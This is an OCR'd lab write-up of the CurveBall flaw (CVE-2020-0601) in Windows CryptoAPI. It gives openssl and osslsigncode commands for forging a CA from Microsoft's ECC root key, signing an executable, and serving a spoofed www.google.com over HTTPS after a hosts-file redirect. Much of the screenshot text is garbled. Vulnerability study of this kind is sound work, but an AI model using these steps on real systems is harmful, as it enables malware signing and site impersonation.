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INTRODUCTION

CVE-2020-0601, referred to as CurveBall is a web browser security vulnerability in which the signature of certificates using
elliptic curve cryptography (ECC) is not correctly verified. It was discovered and released by the NSA in 2020. The exploit targets
Microsoft CryptoAPI, the program library that handles cryptographic functions for the Windows 10 operating system. The
vulnerability affects Internet Explorer, Microsoft Edge and Google Chrome.

CVSS 3.x Severity and Metrics :

NIST : NVD
Base Score : 8.1 High
Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:-H/A:N

DESCRIPTION

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC)
certificates.An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable,
making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many curves. However, system didn't check all these
parameters. The parameter "G" (the generator) was not checked, and the attacker can therefore supply their own generator, such
that when system tries to validate the certificate against a trusted CA, it'll only look for matching public keys, and then use the
generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1

Public Key = Private Key * Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not validated by system

‘MicrosoftECCProductRootCertificateAuthority.cer' is by default a trusted root certificate authority (CA) using ECC on Windows
10. Anything signed with this certificate will therefore automatically be trusted.

USAGE

Create a certificate with the same public key and parameters of a trusted CA. This will be used as spoofing CA.
Set the generator (G) to the public key (Q), and have a private key (d) set to '1°, since 'Q =dG".
Next, create a certificate signing request with the extensions to use, e.g. code signing or server authentication.

Sign this certificate request with your spoofed CA and CA key, and add the usage extensions.

Bundle the signed certificate request (now a regular certificate) with the spoofed CA, and a signed and trusted certificate is
created.

®  When Windows checks whether the certificate is trusted, it'll see that it has been signed by our spoofed CA. It then looks at
the spoofed CA's public key to check against trusted CA's.

®  Open newly signed certificate in Windows, it'll not recognize it as trusted, since it hasn't been tied to anything, thus it will
not use the spoofed CA. The spoofed certificate must be installed in system to implement vulnerability.
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IMPLEMENTATION

] Files location - https://packetstormsecurity.com/files/author/14686/

®  Extract the public key from the trusted CA

ruby main.rb ./MicrosoftECCProductRootCertificate Authority.cer

®  Generate a new x509 certificate based on this key. This will be spoofed CA

openssl req -new -x509 -key spoofed ca.key -out spoofed ca.crt

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use anly)
ol we
Player ~ || ~ & O [§

Activities ] Terminal = Aug 23 21:21 -

i+ p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-Z2020-0601-mas...

_tls.conf
README d

tECCProductRootCertificateAuthority.cer
S openssl req -new
poofed_ca.ke sut spoofed_ca.crt
about e asked to enter information that will be incorporated
your certificate
What are ab o ent is called a Distinguished Name or a DN.
There are quite a fe ie n leave some blank
jFor some flelds there a default walue,
If you enter '."', the field will be left blank.

M Country Mame (2 letter code) [AU]:T
State or Prowvi Name (full name) [Some-State]:DEL
) ty)
anization oM [Internet Widglits Pty Ltd]:Test
anizational Unit MName ton) []:Test1
+ Qs 0 'OUR name) []:test.com
Email Address []:

ruljj,I main.rb ,,-‘M'Ll:rr_r

sof

README.
md
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https://packetstormsecurity.com/files/author/14686/

®  Generate a new key. It will be used to create a code signing certificate, which we will sign with our own CA

openssl ecparam -name secp384rl -genkey -noout -out cert.key

®  Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl _tls.conf -reqexts v3_tls

® Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will
expire in 2043.

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed ca.key -CAcreateserial -out cert.crt -days 10000 -extfile
openssl_tls.conf -extensions v3_tls

Ubuntu 64-bit - VMware Warkstation 16 Player (Non-commercial use anly) - [m} 4
T
Player - il - r‘_'é 0, s - =

Activities ] Terminal = Aug 23

9

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master

elds there will be a default value,
.", the field will be left blank.

ountry Name (2 le } [AU]:IN
State or Provi N 2 [ ) [Some-State]:DEL

ver FQ or YOUR mame) []:test.com

Addre a gmail.com
i openssl ecparam -name
y -noout -out cert.key
- openssl req -new -k

op sl req -new -key cert.

ganizatic = (eg, company) [Internet Widgits Pty Ltd]:Test
@ i i Unit Name . i []:Test1

S openssl x589 -reqg
cert.crt -days 1 -extfile ope

bject=C {, ST = Denmark, Copenhagen, 0 = ollypwn, CN = wWwW.google.com
GCetting CA Private Key

https://t.me/learningnets



® Pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables.

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed ca.crt -name "Code Signing" -out cert.p12

Ubuntu 64-bit - VMware Workstation 16 Player {Non-commercial use only) — [} b4

Payer - | Il - & B iR - | B
] Terminal « Aug 23 21:28 =

e

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q

S 1s
openssl_cs.conf
main.rb openssl_tls.conf
README . md
H S ruby main.rb . /MicrosoftECCProductRoot
CertificateAuthority.cer
3 S openssl req -new -x509 -key spoofed_ca
.key -out spoofed_ca.crt
You are about to be asked to enter information that will be incorporated
into vour certificate request.
What wvou are about to enter is what is called a Distinguished Name or a DN.
There are quite a few Tields but you can leawve some blank
For some fields there will be a default wvalue,
If yvou enter '".', the field will be left blank.

Country MName (2 letter code) [AU]:IN
State or Province Mame (full name) [Some-State]:DEL
Locality MName (eg, city) []1:DEL
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Test
Organizational Unit Name (eg, section) []:Testl
Common MName (e.g. server FQDN or YOUR name) []:test.com
Email Address []:abc@gmail.com

= S openssl ecparam -name secp384rl -genke
v -noout -out cert.key

2 openssl req -new -key cert.key -out ce
rt.csr -config openssl_cs.conf -regexts wv3_tls
Error Loading request extension section wv3_tls

] S openssl req -new -key cert.key -out ce
rt.csr -config openssl_tls.conf -regexts wv3_tls

3 S openssl x509 -reqg -in cert.csr -CA spo
ofed_ca.crt -caAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 1090900 -extfile openssl_t1l
s.conf -extensions wv3_tls
Signature ok
subject=C = DK, ST = Denmark, L = Copenhagen, 0 = ollypwn, CN = www.google.com
Getting CA Private Key

3 S openssl pkcsil2 -export -in cert.crt -1i
nkey cert.key -certfile spoofed_ca.crt -name "Code Signing” -out cert.pl2z2
Enter Export Password:
Verifying - Enter Export Password:

https://t.me/learningnets



® Sign your executable with PKCS12 file.

osslsigncode sign -pkcs12 cert.pl2 -n "Signed" -in 7z21900-x64.exe -out 7z1900-x64_signed.exe

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - O *

payer = | |1 ~ & H I < B

Activities C-] Terminal ~ Aug23 21:30 e

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:IN
State or Province Name (full name) [Some-State]:DEL
Locality Name (eg, city) []:DEL
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Test
Organizational Unit Name (eg, section) []:Testl
Common Name (e.g. server FQDN or YOUR name) []:test.com
Email Address []:abc@gmail.com
B $ openssl ecparam -name secp384rl -genke
y -noout -out cert.key
3 S openssl req -new -key cert.key -out ce
rt.csr -config openssl_cs.conf -reqexts v3_tls
Error Loading request extension section v3_tls
3 S openssl req -new -key cert.key -out ce
rt.csr -config openssl_tls.conf -regexts v3_tls
3 openssl x509 -req -in cert.csr -CA spo
ofed ca.crt -CAkey spoofed ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tl
s.conf -extensions v3_tls
Signature ok
subject=C = DK, ST = Denmark, L = Copenhagen, 0 = ollypwn, CN = www.google.com
Getting CA Private Key
7 S openssl pkcsi2 -export -in cert.crt -1i

nkey cert.key -certfile spoofed ca.crt -name "Code Signing" -out cert.pil2

Enter Export Password:

Verifying - Enter Export Password:
g S 1s

README . md
main.rb spoofed ca.crt

spoofed ca.key
openssl_cs.conf spoofed_ca.srl
openssl_tls.conf

$ osslsigncode sign -pkcsi2 cert.pl2 -n
"Signed" -in 7z1900-x64.exe -out 7z1900-x64 signed.exe
Succeeded
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In windows VM, navigate to C:\Windows\System32\drivers\etc\hosts

Add IP address of Ubuntu VM and URL - https://www.google.com

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o % Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o x
Player ~ | ~ & 10, ¥ payer » | ] - & O |

B Terminal v Aug23 21:38 ® ") hosts - Notepad

File Edit Format View Help

# Copyright (c) 1993-2009 Microsoft Corp.
#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master M

# This file contains the mappings of IP addresses to host names. Each
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE- # entry should be kept on an individual line. The IP address should
- = - # be placed in the first column followed by the corresponding host name.

$ ifconfig # The IP address and the host name should be separated by at least one
163<UP,BROADCAST ,RUNNING ,MULTICAST mtu 1500 # space.
inet 192. 223.131 netmask 255.255.255 #
inet6 fese®::6ds4: :bc39:fd44 prefixlen 64 scopeid Ox20<lin # Additionally, comments (such as these) may be inserted on individual
ether O€ C] 6. 2 txqueuelen 1000 (Ethernet) # lines or following the machine name denoted by a '#' symbol.
RX packets 8300 bytes 769380 (769.3 KB) #
RX errors @ dropped @ overruns @ e ® # For example:
TX packets 5165 bytes 443170 (443.1 KB) #
TX errors @ dropped @ overruns © carrier @ collis # 102.54.94.97 rhino.acme.com # source server
# 38.25.63.18 X.acme.com # x client host
L BACK,RUNNING> mtu 65536
0.0.1 tmask 255.0.0.0 # localhost name resolution is handled within DNS itself.
6 prefixlen 128 scopeid 0x10<host: # 127.0.0.1 localhost
loop txqueuelen 1880 (Local Loopback) ] localhost
RX packets 3357 bytes 265689 (265.6 KB) [192.168.223.131 https://wa. google. com/|
RX errors ® dropped © overrun
TX packets 3357 bytes 2656 .6 KB)
TX errors @ dropped © overruns @ carrier @ collisions @
s
Ln 22, Col40 100%  Windows (CRLF) UTF-8
0 Type here to search O B w m J wc A G oo Y
= L - uz 8/23/202]
>

i ooz
L Type here to search & 31°C AQI 90 ENG 4082021 =

Files “cert.crt’, “cert.key’, and “spoofed ca.crt® are used to serve content. Add the spoofed ca.crt as a certificate chain
in your server's HTTPS configuration. Configure “index.js” server file.

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o % Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 X

P« 11 - & ] « B orees -2 008

@ Text Editor ¥ Aug23 21:33 e 2 7 hosts - Notepad -
File Edit Format View Help

Open m indexjs # Copyright (c) 1993-2009 Microsoft Corp.
_ #

1const app = require('express')(); # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

2 const https = require('https'); #

3 const fs = require('fs'); # This file contains the mappings of IP addresses to host names. Each
. 4 # entry should be kept on an individual line. The IP address should

5 //GET home route # be placed in the first column followed by the corresponding host name.

6app.get('/', (req, res) # The IP address and the host name should be separated by at least one

7 res.send( er>CVE-2020-0601 Vulne t enter>'); # space.

81 #

E # Additionally, comments (such as these) may be inserted on individual

16 https.createserver({ # lines or following the machine name denoted by a '#' symbol.

11 key: fs.readFileSync( ey'), +

12 cert: fs.readFilesync( t'), # For example:

13 ca: [ #

14 fs.readFilesync( i ) # 102.54.94.97 rhino.acme. com # source server

15 ) # 38.25.63.10 x.acme. com # x client host

16 }, app)

7] -1isten(443); localhost name resolution is handled within DS itself.
127.0.0.1 localhost
: localhost

2
92.168.223.131 ww.google. com

ok

I
Ln22, Col1 100%  Windows (CRLF)  UTF-8
— - = 9:33 P
£ Type here to search O B = 0C A TR oy
< >

saving file “/home/p/Desktop/CVE_2020_0601_A/CVE-2020-... Javascript ~ Tabwidth: 8 ~ Ln7,Col38

. 1003
0 Type here to search ' @ @ 30°C Partly cdoudy N NG ot B
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Server i1s started in Ubuntu VM

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o % Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 X

P« 11 - & ] B o 1l 01

(=) Terminal v Aug23 2 ) 7 hosts - Notepad —
File Edit Format View Help
Copyright (c) 1993-2009 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master ~ Q
This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

S 1s
index. js README .nd
spoofed_ca.crt
spoofed_ca.key
spoofed ca.srl
y Additionally, comments (such as these) may be inserted on individual
cert.pl2 lines or following the machine name denoted by a '#' symbol.

S sudo node index For exanple:

102.54.94.97 rhing.acme.com # source server
38.25.63.10 X.acme.com # x client host

AR R A W W R W W R W W

localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
il localhost

#
#
# i
[192.168.223.131 wwi.google. com

Ln22, Col1 100%  Windows (CRLF)  UTF-8

9:35 V|

8/237202)
>

I
b |
D

0C A G

0 Type here to search )

L : 1005
O Type here to search 4 @ 31°C AQI%0 2082021

In Windows VM, open browser and navigate to https://www.google.com.

Error - “Your connection isn’t private” is displayed

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o x Windows 10 %64 - VMware Workstation 16 Player (Non-commercial use only) - o ox
payer - || -~ & O {§ « B raer - |- 0O « B
]
| — =
x |+ - o x|
www.google.com 5 = 2
README . md
openss1_cs.conf
tls.conf
node ind
Your connection isn't private
Attackers might be trying to steal your information from www.google.com (for example,
passwords, messages, or credit cards).
NET: AUTHORITY_INVALID
Advanced
pum 5 = 940 PM|
P Type here to search : O A mhaes &6 ¢ 0c A~ G oo
< >

P Type here to search ¢ tH & 31°C AQI90

https://t.me/learningnets


https://www.google.com.

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o x

Pajer - |1 - & T 19 < B roe- -2 08 < B

(] Terminal ~ y O |

x|+ - \

ol p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master sl

www.google.com

o.

o
=2
[ 1]

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-... J t / 0 A 3 About goagle.com

A Your connection ta this ste sn't secure >
README .md
spoofed_ca.crt

cs.conf

”
tls.conf &
>
TH Tracking prevention for this site (Balanced) o)
Sl () Bloghet 5, 1www.google.com (for xample,

O

AUTHORITY_INVALID

" 5 . - 40 PM
P Type here to search | O A mhaes &6 ¢ 30C A~ & W) g0
< >

10:10

P Type here to search { 4 R ENG 1 08-2021

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 x

Player = |l ~ & O § « [ Paer- |- O K « B
]

] Terminal ~

ol p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master

www.google.com 8

w
=)
(1]

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-... p@ubunt / . - o Certificate B3

General Detalls  Certficaton Path

4 Certificate Information

This certificate cannot be verified up to a trusted
certification authority.

sudo node ind

Your connection isn't private

Attackers might be trying to steal your information from
9 ving y Issued to:  wwiv.googe.com

passwords, messages, or credit cards).

Issued by: test,com

vald from 5/23/2021 to 1/8/20%8

| hosts - Notepad

B \ . = &41 PV
O Type here to search O O whaad &@€6€0C 30°C A @ gy

>

10:11

L Type here to search 24-08-2021
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Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - a x Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - O x
P« 11 - & ] B o 1l 01

) Terminal v Aug23 21:41 e ) ~ B
Filqe= -

8) Privacy error x  +

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master @G A Notsecure | hitps//www.googlecom Y5 1=

IDesktop/CVE_2020_0601_A/CVE-... p@u / / / g G Certificate x
P - )_{ . .
General Detais Certification Path
README.nd
spoofed_ca.crt show: <Al -
oofed_ca.key
spoofed_ca.srl Field Value ~
openssl_cs.conf [Elversion
openss1_tls.conf i) serial number 052e727431db 12ad4136bec
package-lock. json [l signature sigorithm Sha2SEECDSA
$ sudo node ind Esignamrehasha\ganm sha2se
: [P 3 Issuer abc@gmal.com, test.com, Tes.
Your connection isn't private [Elvaiid from Moniay, August 23, 20218:2...
(2] valid to Friday, January 8, 2049 9:26:..
Attackers might be trying to steal your information from y | [Elsert snsnn e crem el 0¥
passwords, messages, or credit cards).
Y_INVALID
Advanced
EdtProperties.., | | Copy toFie...
= = %41
i 3 "
£ Type here to search O H w Mmoo €CE 30C A 8D g
>

E : 1011
O Type here to search 4 @ 31°C AQI%0 0g2021

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 x

Player = |l ~ & O § « B

] Terminal ~ \ug23 2141 e

fa.)

o

w
=)
(1]

b Certificate X ﬂl

General Detals Certification Path

Certification path
=

package-lock. json
node ind

Your connec

on isn't private

Attackers might be trying to steal your information from

passwords, messages, or credit cards).

AUTHORITY_INVALID

View Certficate

Certificate status:

fThis CA Roat certficate fs not trusted because s not n the Trusted Root

Advanced ICertification Authorities store,
(et
_ - . _ 41PN
O Type here to search O O whaas &@€€¢C 30°C A @ gy

>

10:11

L Type here to search 4 31°C AQI90 T
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Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o x

o - | - & 0 19 = B v ll-2OF < B

] Terminal ~ 23 21:42 y O |

fa.Y

P@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master www.google.com 1=
/Desktop/CVE_2020_0601_A/CVE-... > 3 - ﬂl
o Certficate x General Detals | Certfcaton Path
READ E'”‘ja _— Genersl Detais  Certifcation Path Certificaton path
0 5 testcom

3 wiww.googe.com
SR Certificate Information

This CA Root certificate is not trusted. To cnable trust,
install this certificate in the Trusted Root Certification

sudo node ind Authorities store.

I from ¥

Tssued to: testcom

View Cervicate
Tssued by: test.com

Certficate status:
Valid from §/23/2021 to %/22/2021

fThis CA Root certficats Is not trusted becauss (15 not n the Trusted Root
(Cer tication Authorities store.

£ Type here to search
T

P Type here to search ¢ tH & 31°C AQI90

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o x
AT . AR
Payer - | |1 - = O I < B rwer-[Il- 208

) Terminal » Aug23 2 o - [l

x |+

C A Notsecure | ups//wwwgoogle.com

X i Details Certfication Path

README .md
main.rb spoofed_ca.crt
spoofed_ca.key
spoofed_ca.srl
1_cs.conf Welcome to the Certi
cert.p12 pe _tls.conf
package-Lock. json

£+ Certficate Export Wizard fication path

testeom
1.google. com

ate Export Wizard

$ sudo node index.js This wizard helps you copy certficates, cer ificate rust ists and certficate revocation

lists from a certificate stare to your disk,

A certficate, which i issued by a cer tfication authority, i a confirmation of your identity

connactions. A certificate store is the system area where certficates are kept.

To continue, cick Next. View Certficate

fieate status:

CA Root cerfificate is not rusted because It s not in the Trusted Root
ification Authorites store.

ok

Next Cancel

- %42P)
30 A GO o0

>

o

O Type here to search o

10112
24-08-2021

L Type here to search (]
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Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - = X
=
In-=m

[ Terminal v

Player +

Aug23 21143 e ) -

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master

-/Desktop/CVE_2020_0601_A/CVE-...

README.nd
spoofed_ca.crt
oofed_ca.key
spoofed_ca.srl
openssl_cs.conf
openss1_tls.conf
package- Lock. json
$ sudo node 1

O Type here to search

B roc- ll-& 0
a

Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only)

Fil ==

8) Privacy error x  +

P Type here to search

c A Notsecure | Etps//www.google.com Y6 =
- ﬂl
8l Details Certification Path
& 4¥ Certificate Export Wizard Htification path
H testicom
L] www. google. com
Completing the Certificate Export Wizard
You have successfully completed the Certificate Export wizard.
Certificate Export Wizard ~ XC
You have specified the following settings:
File Name Celsers\p Pesktopltest.f The export was successful
Exportkeys No
Indlude all certificates in the certification path Yes
Fie Format Cryptooraphic Message
T View Certificate
B N ficate status:
CA Root certificate is not trusted because it is not in the Trusted Root
ification Autherities store.
oK
Finish Cancel

& 31°C AQI90

043P}
/237202
>

0°Cc A G

10:13
24-08-2021

O

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only)

-0l

Player =

L Type here to search

https://t.me/learningnets

Player «

Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only)

-0

File Action View

Help

|2 3| B m
(o)) Certficates - Cument User
v CAUSERS\P\DESKTOP\TEST.P| Bfitest.com

ssued To

| Certificates

Issued By

test.com

o8l Certificate

General Detais  Certfication Path

@ Certificate Information

This CA Root certificate is not trusted. To enable trust,
install th
Authorities stare.

Issued to: test,com

Tssued by: test.com

Valid from 8/23/2021 to 3/22/2021

Instal Certiicate...

<

B8 | O Type here to search

x

= 44p
0C A G B

>



Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o % Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 X

Player + | |] + @ T B raer~ lI-2 0O

File Action View Help
e 2@ &EE
[ Centificates - Current User R Issued By
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Spoofed CA is validated by web browser as Trusted Root CA and original https://www.google.com content is

replaced with the incorrect information as mentioned in “index.js” file.
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Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability
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